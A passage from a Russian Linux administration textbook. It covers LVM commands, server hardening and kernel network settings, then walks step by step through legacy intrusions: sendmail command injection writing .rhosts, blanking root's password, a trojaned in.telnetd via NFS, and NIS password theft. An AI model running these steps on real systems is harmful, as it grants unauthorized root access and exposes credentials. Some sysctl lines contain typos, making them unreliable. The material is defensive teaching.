Добавление физического тома к виртуальной группе: vgextend vg00/dev/sdb1

Удаление физического тома из виртуальной группы:

98 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

vgreduce vg00/dev/sdb1

Подготовка виртуальной группы для переноса: vgexport vg00

Импорт виртуальной группы (с другой машины): vgimport vg00/dev/sdb1/dev/sdb2

Создание логического тома с именем lv00 и размером 1500 Мб: lvcreate-L1500-n lv00 vg00

Удаление логического тома: lvremove/dev/vg00/lv00

Увеличение размера логического тома до указанной величины: lvextend-L 120M/dev/vg00/lv00

Увеличение размера логического тома на указанную величину: lvextend-L+100M/dev/vg00/lv00

Уменьшение размера логического тома до указанной величины: lvreduce-L 120M/dev/vg00/lv00

Уменьшение размера логического тома на указанную величину: lvreduce-L-100M/dev/vg00/home

Изменение размер файловой системы ext2, ext3 и ext4 (после изменения размера логического тома нужно привести в соответствие размер файловой системы с новым размером тома): resize2fs/dev/vg00/lv00

Общие мероприятия по обеспечению безопасности

Безопасность сервера определяется не только типом и версией установленной операционной си- стемы, но и правильными настройками. Ниже рассматриваются основные методы защиты сервера, которые можно использовать для предотвращения несанкционированного доступа к серверу, а так- же для защиты сервера от атак из внешней или локальной сети.

Предотвращение несанкционированного входа в систему

С целью предотвращения несанкционированного доступа к системе сторонними лицами с исполь- зованием внешних носителей необходимо отключить в настройках возможность загрузки системы с любых внешних носителей и установить пароль на вход в BIOS(UEFI). Существует принципи- альная возможность обойти эту меру защиты, получив физический доступ к системному блоку на котором работает сервер. Поэтому необходимо ограничить доступ в помещение, где расположен сервер.

1.1. Операционная система GNU/Linux 99 ABC Unix, Выпуск 1.0.01

Установка пароля для изменения параметров загрузки ядра

Для доступа к серверу злоумышленик может использовать параметр загрузки ядра:

init=/bin/bash

заменив стандартный процесс инициализации системы на запуск командного интерпретатора. Что- бы предотвратить такой несанкционированный доступ необходимо включить использование пароля в загрузчике GRUB. При использовании пароля загрузчик GRUB запрещает любое интерактивное управление без ввода пароля (клавиша p). Ниже приведен фрагмент конфигурационного файла /boot/grub/grub.conf с установленным паролем:

default 0 splashimage=/boot/grub/splash.xpm.gz timeout 0 password --md5 $1$RFEae/$MxXN6ck3laZMTy8ajwINk0

Параметр --md5 в опции password обеспечивает хранение пароля в зашифрованном виде (формат MD5). Если он пропущен, пароль хранится в открытом виде. При установке GNU/Linux загрузчик GRUB устанавливается без опции password. Для определения зашифрованного пароля необходимо выполнить команду:

grub-md5-crypt Password:Secret $1$RFEae/$MxXN6ck3laZMTy8ajwINk0

Вход в систему в монопольном режиме

Для того, чтобы система запрашивала пароль при входе в монопольном режиме необходимо вы- полнить следующие действия. В файле /etc/inittab после строки:

d:5:initdefault:

добавить:

id:5:initdefault: ~~:S:wait:/sbin/sulogin

Для того, чтобы сделанные изменения вступили в силу без перезагрузки, выполнить команду:

init q

Ограничение времени бездействия консоли с правами суперпользователя

Учетная запись root – самая привилегированная учетная запись в системе. Она не имеет никаких ограничений по безопасности. При использовании этой учетной записи важно быть очень осторож- ным и внимательным. Часто администраторы, зарегистрировавшись в качестве суперпользователя, забывают выйти из системы после окончания работы. Поэтому желательно использовать автома- тическое завершение сеанса оболочки bash после бездействия консоли в течение определенного периода времени. Специальная переменная TMOUT задает интервал времени в секундах, по истечении которого при отсутствии ввода с клавиатуры происходит выход из системы. Для определения значения этой переменной равному 1 час (3600 с) в файле /etc/profile после строки:

100 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

HOSTNAME= '/bin/hostname' HISTSIZE=1000

необходимо добавить строку:

TMOUT=3600

Там же, в строке: export PATH USER LOGNAME MAIL HOSTNAME HISTSIZE INPUTRC

добавьте параметр TMOUT: export PATH USER LOGNAME MAIL HOSTNAME HISTSIZE TMOUT INPUTRC

Для вступления изменений в силу необходимо завершить сеанс и зарегистрироваться в системе заново. Вышеупомянутые изменения файла /etc/profile, ограничивают время бездействия для всех поль- зователей системы. Если необходимо установить значения TMOUT для отдельного пользователя, то аналогичные изменения должны быть сделаны в файле ~/.bashrc, находящемся в домашнем ката- логе этого пользователя.

Несанкционированная перезагрузка системы

Для исключения возможности несанкционированной перезагрузки системы с помощью комбинации клавиш [Ctrl]+[Alt]+[Del] в файле /etc/inittab необходимо закомментировать строку:

#ca::ctrlaltdel:/shin/shutdown -t3 -r now

Для того, чтобы сделанные изменения вступили в силу, без перезагрузки необходимо выполнить команду: init q

Ограничение числа запущенных виртуальных консолей

По умолчанию в GNU/Linux допускается одновременный запуск шести виртуальных консолей. На сервере с высоким уровнем безопасности следует ограничиться двумя виртуальными консолями и заодно сэкономить некоторые ресурсы, которые могут быть задействованы для выполнения других процессов. Для этого необходимо закомментировать следующие строки файла /etc/inittab:

#1:2345: respawn: /sbin/mingetty ttyl 2:2345: respawn:/sbin/mingetty tty2 3:2345: respawn:/sbin/mingetty tty3 #4:2345: respawn: /sbin/mingetty tty4 #5:2345: respawn: /sbin/mingetty tty5 #6:2345: respawn: /sbin/mingetty tty6

Для того, чтобы сделанные изменения вступили в силу, без перезагрузки необходимо выполнить команду: init q

Ограничение числа консолей с правами суперпользователя

Файл /etc/securetty определяет консоли (tty и vc), с которых разрешена регистрация пользователя root. Рекомендуется разрешить регистрацию суперпользователя только с двух консолей, для этого

1.1. Операционная система GNU/Linux 101 ABC Unix, Выпуск 1.0.01

в файле /etc/securetty необходимо закомментировать лишние строки: vc/1 #vc/2 ... #vc/11 tty1 #tty2 ... #tty10

Защита файла с именами служб

Номера портов, которые используются сервисами, определены в RFC 1700. Файл /etc/services дает возможность серверу и клиентам устанавливать соответствие между названиями служб и номерами портов. Для запрета на внесение изменений в этот файл используется команда: chattr+i/etc/services

Установка атрибута i (immutable) предотвращает случайное удаления или перезаписи защищенно- го файла. Атрибут i также препятствует созданию символьной ссылки к файлу, которая может использоваться для атаки, основанной на удалении файлов.

Контроль файловой системы

Обычный пользователь может выполнить программу с правами суперпользователя root, если в правах доступа к файлу программы установлен бит SUID или SGID (символ s в правах доступа, выводимых по команде ls -l). Поскольку эти программы предоставляют специальные привиле- гии пользователю, который их выполняет, важно удалить SUID и SGID из прав доступа файлов программ, владельцем которых является root, и которые не должны выполняться другими поль- зователями. Это делается следующим образом. Для получения списка программ, имеющих в правах доступа SUID или SGID-биты, выполняется команда: find/-type f \(-perm-04000-o-perm-02000\)-exec ls-l {} \;

Для снятия SUID-биты в правах доступа выполняется команда: chmod a-s

Поиск файлов нарушающих безопасность

Необходимо проверять систему на наличие системных файлов (файлы, которые начинаются с точки и не отображаются командой ls без специального ключа -a), поскольку они могут использоваться для скрытия инструментальных программ, используемых для несанкционированного получения информации о системе. Для поиска скрытых файлов используется команда: find/-name".*"

Файлы (особенно системные) и каталоги с правами на изменение любым пользователем (rwxrwxrwx) могут стать брешью в защите. Кроме того, общедоступные каталоги опасны, так как они позволяют злоумышленникам добавлять или удалять файлы в этих каталогах как им вздума- ется. Для поиска общедоступных файлов и каталогов выполняется команда: find/-typef-perm-2-exec ls-lg {} \;

102 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

В системе не должно быть файлов, не имеющих владельцев, кроме находящихся в каталоге /dev. Появление таких файлов может служить признаком, проникновения в систему. Если найден файл или каталог, не имеющий владельца, проверьте целостность системы, и если все нормально, за- дайте имя владельца. Иногда после удаления программы могут появиться файлы или каталоги, связанные с ней и не имеющие владельцев. В этом случае их можно просто удалить. Для поиска файлов и каталогов без владельцев выполните: find/-nouser-o-nogroup

Защита от подмены IP-адреса

Злоумышленник может изменив IP-адрес своего компьютера замаскироваться под существующий компьютер локальной сети. Для осложнения этого следует запретить всем локальным компьютерам в сети сообщать серверу MAC (Media Access Control) и IP-адрес. Для каждого компьютера в сети определяется MAC-адрес. MAC-адресом компьютера явля- ются символы, стоящие после HWaddr в первой строке вывода команды ifconfig напримере - 00:80:48:CB:BD:73. После определения MAC-адреса, соответствующего определенному IP-адресу, это соответствие фиксируется в ARP таблице сервера: arp-s 172.16.27.4 00:80:48:CB:BD:73

или: arp-s wxp.example.com 00:80:48:CB:BD:73

Правильность таблицы проверяется командой: arp Address Hwtype Hwaddress Flags Mask Iface ... wxp.example.com ether 00:80:48:CB:73:00 CM eth0

Для того, чтобы внесенные изменения сохранились при перезагрузке системы, в конец файла /etc/rc.local.local добавляются соответствующие строки: arp-s 172.16.27.4 00:80:48:CB:BD:73

или: arp-s wxp.example.com 00:80:48:CB:BD:73

Теперь в случае изменения IP-адреса компьютера wxp сервер не будет отвечать на его запросы. Соответствие между IP и MAC адресами можно определить в файле /etc/ethers.

Поиск файлов .rhosts

Поиск всех существующих .rhosts файлов на сервере нужно проводить регулярно. Наличие этих файлов недопустимо, т.к. они могут использоваться для получения несанкционированного доступа к вашей системе. Для поиска файлов .rhosts выполните: find /home -name .rhosts В случае обнаружения таких файлов их нужно уничтожить.

1.1. Операционная система GNU/Linux 103 ABC Unix, Выпуск 1.0.01

Копии протоколов на жестких носителях и удаленных системах

Одним из самых важных принципов безопасности является обеспечение целостности различных файлов регистрации в каталоге сервера /var/log. Критически важные сообщения могут быть со- хранены на удаленной машине сети. Для включения возможности получения по сети сообщений от других систем, на удаленной системе в файле /etc/sysconfig/syslog замените строку:

SYSLOGD_OPTIONS="-m 0"

на:

SYSLOGD_OPTIONS="-r -m 0"

Перезапустите службу syslog на удаленной системе:

/etc/init.d/syslog restart

Отредактируйте файл /etc/syslog.conf на локальной системе и добавьте в конец этого файла сле- дующую строку: authpriv.*;mail.*;local7.*;auth.*;daemon.info @NameRemouteHost

Вместо NameRemouteHost используйте имя удаленной системы, на которую осуществляется копи- рование файлов регистрации. Перезапустите службу syslog на локальной системе:

/etc/init.d/syslog restart

Дополнительные модули аутентификации

PАМ (Pluggable Authentication Modules) разрешает применять дополнительные модули иден- тификации пользователя. Конфигурационные файлы модулей PAM расположены в каталоге /etc/pam.d, а сами модули (динамические библиотеки) расположены в каталоге /lib/security. Ката- лог /etc/pam.d содержит файлы, названные в соответствии с использующими их приложениями, например, SSH, POP, IMAP и т.д., указывающие на заданный по умолчанию конфигурационный файл other. В каталоге /etc/security находится файл access.conf, с помощью которого можно ограничить до- ступ для различных пользователей и IP-адресов. Для того, чтобы настройки, внесенные в файл /etc/security/access.conf, могли использоваться средствами удаленного администрирования, в фай- лах /etc/pam.d/system-auth и /etc/pam.d/sshd должна присутствовать строка:

ассоunt required/lib/security/раm_access.so

Одним из вариантов ограничения доступа к серверу является добавление в файл /etc/security/access.conf строки:

-:ALL EXCEPT root:LOCAL

При этом доступ к консоли сервера будет запрещен локально для всех пользователей, кроме root. А для пользователя root доступ будет разрешен откуда угодно. Для разрешения удаленного доступа к серверу пользователям root, maste с рабочей станции 172.16.27.1 в файл /etc/security/access.conf нужно добавить (подредактировать предыдущую стро- ку):

-:ALL EXCEPT root master: 172.16.27.1

104 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

и добавить еще одну:

-:ALL: LOCAL

Последняя строка запрещает локальный доступ всех пользователей, в том числе и root.

Ограничение использования команды su

Команда su (substitute user) позволяет открывать сеансы под именами других пользователей систе- мы, запускать программы и выполнять команды от их имени и с их правами доступа. Рекомендуют- ся не использовать команду su, либо строго ограничить круг пользователей, которым использование этой команды разрешено. В файле /etc/pam.d/su раскомментируйте: auth required/lib/security/pam_wheel.so use_uid

В этом случае использование команды su будет разрешено только пользователям из специальной группы wheel. Например, Для того, чтобы пользователь master, мог использовать команду su, ему в качестве дополнительной группы нужно добавить группу wheel: usermod –G wheel master

В файле /etc/pam.d/su есть строка: auth sufficient /lib/security/pam_wheel.so trust use_uid раскомментировав которую, можно разрешить пользователям из группы wheel выполнять команду su root

без ввода пароля.

Использование команды sudo

Программа sudo, также как и команда su, позволяет выполнять команды от имени и с полномочи- ями другого пользователя, но более безопасным и информативным способом. Используя sudo, вы получите полную информацию о том, кто вошел в систему как суперпользователь root, а также много другой полезной информации. Если в ситеме используется команда sudo, вместо su удалите SUID-бит из файла /bin/su: chmod a-s/bin/su

Управление параметрами ядра с помощью утилита sysctl

Утилита sysctl – интерфейс, который позволяет изменять некоторые параметры ядра без его пере- компиляции. Для просмотра всех параметров используется команда: sysctl –a

для просмотра отдельного параметра: sysctl<параметр>

Для установки значения параметра используется команда:

1.1. Операционная система GNU/Linux 105 ABC Unix, Выпуск 1.0.01

sysctl-w<параметр>=<значение>

В случае осуществления атаки, основанной на использовании ICMP-пакетов можно запретить ответ системы на ICMP пакеты выполнив команду: sysctl-w net.ipv4.icmp_echo_ignore_all=1

Примечание: В других случаях этого делать не рекомендуется, т.к. это существенно ограничивает функциональные возможности системы, которая использует ICMP-пакеты для установки такого важного параметра, как MTU.

Для того, чтобы внесенные изменения вступили в силу ytj,[jlbvj перезагрузитm сетевую службу:

/etc/init.d/network restart

Когда запрос утилиты ping посылается на широковещательный адрес (например, 172.16.255.255 или 192.168.1.255), то соответствующие пакеты доставляются всем машинам этой сети. После это- го все машины в сети отвечают на посланный широковещательный запрос. В результате может возникнуть перегрузка сети, и ваша система может оказаться невольным участником DoS-атаки. Более подробную информацию по этому вопросу можно получить в RFC 2644. Установка запрета осуществляется следующим образом. Добавьте или откорректируйте в файле /etc/sysctl.conf следующие строки:

# Игнорирование широковещательных запросов net.ipv4.icmp_e_cho_ignore_broadcasts=1

Для того, чтобы внесенные изменения вступили в силу, перезагрузите сеть:

/etc/init.d/network restart

Тот же самый эффект может быть достигнут и без перезагрузки сети: sysctl –w net.ipv4.icmp_echo_ignore_broadcasts =1

Маршрутизация и протоколы маршрутизации также содержат источник потенциальной опасно- сти для системы. Заголовки IP-пакетов содержат полный путь между источником и получателем пакета. В соответствии с RFC 1122 получатель пакета должен ответить по адресу источника, со- держащегося в пакете. Таким образом, злоумышленник может получить возможность перехватить ответ вашей системы и представиться доверенной системой. Рекомендуются отключить возмож- ность использования сервером информации об источнике пакета. Установка запрета осуществля- ется следующим образом. Добавьте или откорректируйте в файле /etc/sysctl.conf следующие строки:

# Установка запрета на использование информации об источнике пакета net.ipv4.conf.all.accept_source_route=0 net.ipv4.conf.default.accept_source_route=0

Для того, чтобы внесенные нами изменения вступили в силу, перезагрузите сеть:

/etc/init.d/network restart

Тот же самый эффект может быть достигнут и без перезагрузки сети: sysctl –w net.ipv4.conf.all.accept_source_route = 0 sysctl –w net.ipv4.conf.default.accept_source_route =0

SYN-атаки используют следующие особенности TCP/IP соединений. Обычно при установке со- единения клиент посылает серверу пакет с SYN-битом (первого типа), в ответ на который сервер

106 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

посылает клиенту пакет-подтверждение (второго типа). После получения подтверждения клиент отправляет серверу пакет, который завершает установку соединения (третьего типа). При этом сервер сохраняет в очереди данные первого пакета и использует их для идентификации клиента. Посылая серверу пакеты, содержащие SYN-бит и случайные IP-адреса источников и не высылая соответствующие им завершающие пакеты (третьего типа), злоумышленник может реализовать DoS-атаку, исчерпав ресурсы для хранения информации, содержащейся в пакетах первого типа. Для исключения такой возможности на сервере устанавливается такой алгоритм функционирова- ния, при котором пакеты, содержащие SYN-бит не сохраняются вообще, а сервер идентифицирует клиента, выполняя соответствующие операции над информацией, содержащейся в пакетах третьего типа. Включение защиты осуществляется следующим образом. Добавьте или откорректируйте в файле /etc/sysctl.conf следующие строки:

# Включение защиты от TCP SYN атак net.ipv4.tcp_syncookies=1

Для того, чтобы внесенные изменения вступили в силу, перезагрузите сеть:

/etc/init.d/network restart

Тот же самый эффект может быть достигнут и без перезагрузки сети: sysctl –w net.ipv4.tcp_syncookies = 1

ICMP-переадресация

Когда компьютеры, находящиеся в сети, используют для пересылки пакетов неоптимальный или несуществующий маршрут, ICMP-переадресация используется маршрутизаторами для того, что- бы сообщить компьютерам правильный маршрут. В сетях со сложной топологией рекомендуется разрешение ICMP-переадресации. В небольших сетях ее следует отключить. При этом исключает- ся возможность изменения злоумышленником таблиц маршрутизации на компьютерах сети путем отправки им поддельных ICMP-сообщений. Установка запрета на ICMP-переадресацию осуществ- ляется следующим образом. Добавьте или откорректируйте в файле /etc/sysctl.conf следующие строки:

# Установка запрета на ICMP переадресацию net.ipv4.conf.all.accept_redirects=0 net.ipv4.conf.default.accept_redirects=0

Для того, чтобы внесенные изменения вступили в силу, перезагрузите сеть:

/etc/init.d/network restart

Тот же самый эффект может быть достигнут и без перезагрузки сети: sysctl –w net.ipv4.conf.all.accept_redirects = 0 sysctl –w net.ipv4.conf.default.accept_redirects = 0

Сообщения об ошибках сети

Для получения информации об ошибках сети добавьте или откорректируйте в файле /etc/sysctl.conf следующие строки:

# Включение сообщений об ошибках сети net.ipv4.icmp_ignore_bogus_error_responses=1

Для того, чтобы внесенные изменения вступили в силу, перезагрузите сеть:

1.1. Операционная система GNU/Linux 107 ABC Unix, Выпуск 1.0.01

/etc/init.d/network restart

Тот же самый эффект может быть достигнут и без перезагрузки сети: sysctl –w net.ipv4.icmp_ignore_bogus_error_responses =1

При реализации атак, основанных на фальсификации IP-адреса (IP spoofing), злоумышленник от- правляет в сеть пакеты с ложным обратным адресом, пытаясь переключить на свой компьютер соединения, установленные между другими компьютерами. При этом он может получить удален- ный доступ к системе с правами доступа, равным правам доступа того пользователя, чье соединение с сервером было переключено на компьютер злоумышленника. Включение защиты осуществляется следующим образом. Добавьте или откорректируйте в файле /etc/sysctl.conf следующие строки:

# Включение защиты от IP-spoofing

# Усиленная проверка net.ipv4.conf.all.rp_filter=2 net.ipv4.conf.default.rp_filiter=2

# Простая проверка #net.ipv4.conf.all.rp_filter = 1 #net.ipv4.conf.default.rp_f liter = 2

Для того, чтобы внесенные изменения вступили в силу, перезагрузите сеть:

/etc/init.d/network restart

Тот же самый эффект может быть достигнут и без перезагрузки сети: sysctl –w net.ipv4.conf.all.rp_filter = 2 sysctl –w net.ipv4.conf.default.rp_f liter = 2

Для получения информации о Spoofed, Source Routed и Redirect пакетах, которая может быть ис- пользована для анализа выявления попыток и механизмов взлома системы, необходимо установить следующие параметры. Добавьте или откорректируйте в файле /etc/sysctl.conf следующие строки:

# Включение регистрации Spoofed, Source Routed и Redirect пакетов net.ipv4.conf.all.log_martians=1 net.ipv4. сonf.default.log_martians=1

Для того чтобы внесенные изменения вступили в силу, перезагрузите сеть:

/etc/init.d/network restart

Тот же самый эффект может быть достигнут и без ее перезагрузки: sysctl –w net.ipv4.conf.all.log_martians = 1 sysctl –w net.ipv4.conf.default.log_martians = 1

Концепция безопасности системы сетевой защиты

«Все, что не разрешено – то запрещено». При таком подходе блокируется весь трафик между внешней и внутренней сетями, за исключением трафика, генерируемого разрешенными сервисами и приложениями. Такая концепция безопасности наиболее эффективна, однако создает определенные неудобства для пользователей и требует больших трудозатрат на администрирование сети для реализации конкретных требований пользователей (у меня не работает «мирка», «аська», не могу

108 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

скачать последнюю версию программы с неправильно настроенного FTP-сервера, не слышу Web- радио и т. п. ). «Все, что не запрещено – то разрешено». При таком подходе разрешается весь трафик между двумя сетями, за исключением некоторого перечня служб и приложений. Это очень удобно для пользователей, но не обеспечивает приемлемый уровень безопасности. Поэтому рекомендуются использовать именно первый вариант концепции системы сетевой защиты.

Порты

Понятие «порт» было введено для организации одновременного соединения с многочисленными сервисами Интернет. Каждый компьютер имеет 65535 доступных портов. Так называемые «хоро- шо известные» (well known) порты имеют номера в диапазоне от 0 до 1023. Эти порты, в боль- шинстве случаев, используются системными процессами или программами, выполняемыми приви- легированными пользователями в фоновом режиме (сервисами). Зарегистрированные (registered) порты имеют номера в диапазоне от 1024 до 49151, но на большинстве систем могут использовать- ся любыми приложениями. Динамические порты (dynamic или private) имеют номера в диапазоне 49152. . . 65535. Все открытые порты должны иметь службу (демон), которая на нем выполняется, т. е. Обслужива- ет обращающихся к этому порту пользователей. Если служба на некотором порту не выполняется, то он должен быть закрыт.

Примеры вторжения

Для того, чтобы разработать реально действующие контрмеры, необходимо знать способы и методы взломщиков. Статья основана на опыте администрирования сети при постоянных попытках взлома и методических указаниях CERT. Задача данной статьи состоит в том, чтобы обратить внимание администраторов сетей, подключен- ных к Internet, на очевидные бреши в системе безопасности наиболее популярных систем. Кроме примеров взломов и возможных дыр, постараемся кратко описать основные средства борьбы с этим неизбежным злом. Учитывая тот факт, что большинство серверов на сети используют операцион- ную систему Unix, обзор возможных прорех в системе безопасности имеет смысл начать именно с этой ОС.

Основные методы получения несанкционированного доступа

Начать обзор следует с возможности взлома через электронную почту. Для пересылки электронной почты по IP на подавляющем большинстве систем используется программа sendmail, разработан- ная в университете Беркли. Задуманная как чисто служебная утилита, эта программа приобрела огромную популярность и вошла в состав дистрибутива многих Unix-систем. Однако она содержала в себе очень серьезную ошибку, благодаря которой любой желающий имел возможность выполнить на удаленной машине команды с привилегиями суперпользователя. Обычно взломщики пытались отправить себе файл passwd для подбора паролей либо помещали свою информацию в файлы, использующиеся программами rlogin, rsh для запуска shell без запроса пароля. Пример 1 - соединение по порту 25 (SMTP): crack$ target.remote.com 25 Connecting to 123.456.654.321. 220 sendmail SMI/4.3.5.2 ready

Данная версия (sendmail SMI/4.3.5.2) содержит уязвимость:

1.1. Операционная система GNU/Linux 109 ABC Unix, Выпуск 1.0.01

helo xxx 220 Helo xxx, ( crack.edu )

Вместо ответа вводим команду "|echo crack.edu>/.rhosts"@target.remote.com. Каманда добав- ляет в файл /.rhosts имя компьютера для удаленного доступа: mail from:"|echo crack.edu>/.rhosts"@target.remote.com 200 Sender ok.

Вводим неправильный адрес: rcpt to: nosuchuser 500 nosuchuser: user unknown

Несмотря на сообщение, продолжаем диалог: data 230 Enter mail, end with"." 200 Mail accepted

Доступ к удаленной машине получен ...: quit

Соедиряемся так, чтобы не было видно через who:

$ su # rsh target.remote.com /bin/csh -i Welcome to remote.com! Warning! No access to terminal, job control disabled! target#

Эта ошибка присутствует в нескольких десятках различных вариантов ОС Unix самых разных фирм. Кроме того, существуют и более простые способы при благоприятных условиях: удаленная машина Sun, система SunOS 4, NIS не запущен, система поставлена, и ничего не исправлялось. Пример 2: crack# su - bin $ rsh target.remote.com /bin/csh -i

В файле /etc/hosts.equiv есть запись “+” и ошибка...:

Welcome to remote.com!

Каталог /etc с владельцем bin ...:

Warning! No access to terminal, job control disabled! $ ls -ldg /etc drwxr-xr-x 10 bin bin 1536 Apr 10 01:45 /etc/ $ cd /etc

Делаем passwd доступным на запись ...:

$ mv passwd passwd.was $ cp passwd.was passwd

Редактируем:

$ ed passwd 2341 1p

110 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

root:Nkkh&5gkljGyj:0:0:Root:/:/bin/csh s/Nkkh&5gkljGyj//p root::0:0:Root:/:/bin/csh w 2341 q

И соединяемся с правами суперпользователя:

$echo /bin/csh -i | su root Warning! No access to terminal, job control disabled!

Чтобы никто не обнаружил взлом: target# mv /etc/passwd.was /etc/passwd

Кроме электронной почты в TCP/IP сетях очень широко применяются различные виды распреде- ленных файловых систем, самой популярной из которых является Network File System (NFS). В случае неаккуратного заполнения файла /etc/exports или использования дистрибутива с ошибкой (SunOS 4.1) может возникнуть следующая ситуация. Пример 3: crack$ showmount -e target.remote.com Export list for target.remote.com /home Everyone /disk3 neptun pluton alpha

Домашние каталоги доступны по NFS. Монтируем каталог: crack$ su # mount -t nfs target.remote.com:/home /mnt # cd /mnt # ls -ldg * drwxr-xr-x 10 257 20 1536 Apr 10 01:45 user/

Изменяем .rhosts пользователя:

# echo crack.edu > user/.rhosts # cat >> /etc/passwd user::257:20::/: ^D

Создаем такого же у нас:

# su - user

Становимся им:

$ rsh target.remote.com /bin/csh -i Warning! No access to terminal, job control disabled!

И заходим на удаленную машину:

$ id uid=257(user) gid=20(stuff) groups=20(stuff), 7(sys)

Каталог доступен на запись:

$ ls -ldg /usr/etc drwxrwxr-x 10 bin bin 1536 Apr 10 01:45 /usr/etc $ grep telnet /etc/inetd.conf telnet stream nowait root /usr/etc/in.telnetd in.telnetd

1.1. Операционная система GNU/Linux 111 ABC Unix, Выпуск 1.0.01

Нашли программу, которая запустится под root”ом из нашего каталога:

$ cd /usr/etc $ mv in.telnetd in.telnetd1

создаем троянского коня:

$ cat > in.telnetd #!/bin/sh exec /bin/csh -i ^D $ chmod 755 in.telnetd

и запускаем его:

$ telnet 127.1 Connecting 127.1. Warning! No access to terminal, job control disabled! # chown user /etc;

Делаем /etc своим:

^M: command not found # exit; ^M: command not found Connection closed by foreign host. $ cd /etc

и далее как раньше как в Примере 1.:

......

Если на машине работает NIS-сервер и не принято дополнительных мер, то с помощью специальной программы можно утащить по сети файл passwd, общий для некоторого числа машин. В случае несоблюдения правил при создании паролей, есть довольно приличная вероятность, что программа crack подберет несколько. Дальнейшие события могут разворачиваться по одному из сценариев для получения полномочий суперпользователя (после того, как вы зашли на удаленную машину как пользователь). Пример 4. Проверяем на NIS сервер: crack$ rpcinfo -p target.remote.com | grep bind 120000 2 udp 2493 ypbind

есть такой... crack$ ypx -o target.passwd -g target.remote.com

забираем файл паролей: crack$ crack target.passwd

и запускаем подборщик паролей:

[ a lot of time ] OK, user"user" has password"iamuser"

нашли, заходим:

112 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

crack$ telnet target.remote.com

далее как в предыдущем примере:

.....

Естественно, что если известны способы преодоления защиты, то должны быть разработаны и средства защиты. Для минимизации возможных попыток проникновения в сеть очень эффекти- вен сетевой экран (firewall), умеющий анализировать поток проходящей через него информации и осуществляющий фильтрацию пакетов. Очень рекомендуется запрещать rlogin, rsh, RPC (см. При- меры), а также пакеты, направленные на порты 2048 и 2049, - это порты данных для NFS. Также рекомендуется четко определить машины, принимающие почту, и открыть порт 25 только для них. При необходимости возможна конфигурация, которая вообще запрещает какие-либо заходы по сети в локальную сеть, при этом разрешая изнутри использовать любые TCP-сервисы глобальной сети.

Борьба с возможностью анализа содержания IP-пакетов

Все рассмотренные выше примеры относятся к так называемым “активным” методам. Аккуратное администрирование системы легко сводит на нет все рассмотренные дырки, но совершенно бес- сильно в случае применения “пассивной” атаки. Что это такое? Самый распространенный, простой в исполнении способ - анализ информации, передаваемой по каналам связи, преимущественно по сети Ethernet. Основан он на свойстве этой сети, благодаря которому каждый передаваемый пакет может быть проанализирован любой машиной, подключенной на этот сегмент сети. При наличии достаточно быстрой машины с адаптером, разрешающим работу в режиме приема всех пакетов, можно легко извлекать такую информацию, как пароли пакетов NFS. Если на этом сегменте расположено несколько маршрутизаторов, то в наш фильтр попадут не только пароли нашей сети, но и те, которыми обмениваются маршрутизаторы. Таким образом, за сравнительно короткое время можно собрать коллекцию паролей на нескольких сотнях машин. Для борьбы с такими методами в конце 80-х годов была разработана система сетевой идентифи- кации пользователя под названием Kerberos. Основной целью было полное исключение пересылки паролей по сети. Пользователь вводит пароль только один раз при регистрации в системе, после чего ему выделяется “билет” на несколько часов, который хранится в файле в зашифрованном ви- де. Этот билет содержит информацию о пользователе, время выдачи, адрес машины и случайно сгенерированный ключ для дальнейшего обмена идентификационной информацией. Первоначаль- ным ключом служит пароль пользователя. Билет, выданный при входе в систему, используется для получения вторичных билетов, по которым может быть предоставлен какой-либо сетевой сервис. Со стороны сервера используется аналогичный механизм с той разницей, что в качестве пользова- теля выступает программа, обеспечивающая запрошенный вид услуги. Таким образом, программа пользователя и программа на сервере получают пару случайных ключей, с помощью которых они шифруют идентификационную информацию, прилагают к ней контрольные суммы и на этой ос- нове удостоверяются в том, что они те, кем представились. После этого программа пользователя может получить доступ к сервису без запроса пароля. Без знания первоначальных ключей сеанс не состоится. Кроме того, полученная пара ключей может быть использована для шифрования всего сеанса работы по сети. Эта система имеет целый ряд недостатков. Во-первых, подразумевается четкое разделение машин на рабочие станции и серверы. В случае, если пользователь пожелает, зайдя на сервер, с помощью telnet зайти на другую машину, идентификация не сработает, так как пользователь имеет первоначальный билет только на той рабочей станции, где он вводил па- роль. Иными словами, в Kerberos версии 4 полномочия пользователя не передаются на другие машины. Кроме того, требуется выделенная машина под сервер Kerberos, причем работающая в максимально секретных условиях, поскольку на ней содержится база данных, где содержатся все пароли пользователей. Kerberos версии 4 очень ограниченно применим в сети, где возможны ситу- ации, когда в силу ряда обстоятельств сервер Kerberos недоступен по сети (непредвиденные сбои в роутинге, ухудшение или обрыв связи и т.д.). Часть недостатков, перечисленных выше, ликви- дирована в версии 5, но эта реализация запрещена к экспорту из США. По описанному алгоритму работают также системы Sphinx от DEC и NIS+ от Sun. Отличаются они применением различных

1.1. Операционная система GNU/Linux 113 ABC Unix, Выпуск 1.0.01

алгоритмов шифрования, другого протокола передачи (RPC вместо UDP) и способов объединения административных доменов в иерархию.

Заключение

Кроме рассмотренных, существуют и другие, более изощренные, способы вторжения. Многие из них можно нейтрализовать простым “аккуратным” администрированием. По статистике большин- ство взломов осуществляется из-за халатности администраторов или персонала, эксплуатирующего систему. He откладывая в “долгий ящик”, проверьте перечисленные выше способы несанкциониро- ванного доступа - если удастся “взломать” ваш компьютер вам, то это могут сделать и другие.

114 Глава 1. Операционная система GNU/Linux ГЛАВА 2

Администрирование вычислительных сетей

Дисциплина входит в вариативную часть образовательной программы подготовки студентов по направлению «09.04.01 Информатика и вычислительная техника». Курс предназначен для изу- чения основ проектирования и администрирования вычислительных сетей под управлением семей- ства операционных систем UNIX. Лекционный курс дополняют практические занятия по установке и настройке: • шлюза локальной вычислительной сети с сетевым экраном и трансляцией адресов; • веб-сервера локальной вычислительной с поддержкой виртуальных доменов; • сервера электронной почты; • сервера сетевой файловой системы; • сетевого хранилища для кластерных систем на базе SAS, iSCSI c использованием СLVM, GFS, OCFS; • системы управления кластером PaceMaker.

Администрирование вычислительных сетей

Введение в TCP/IP

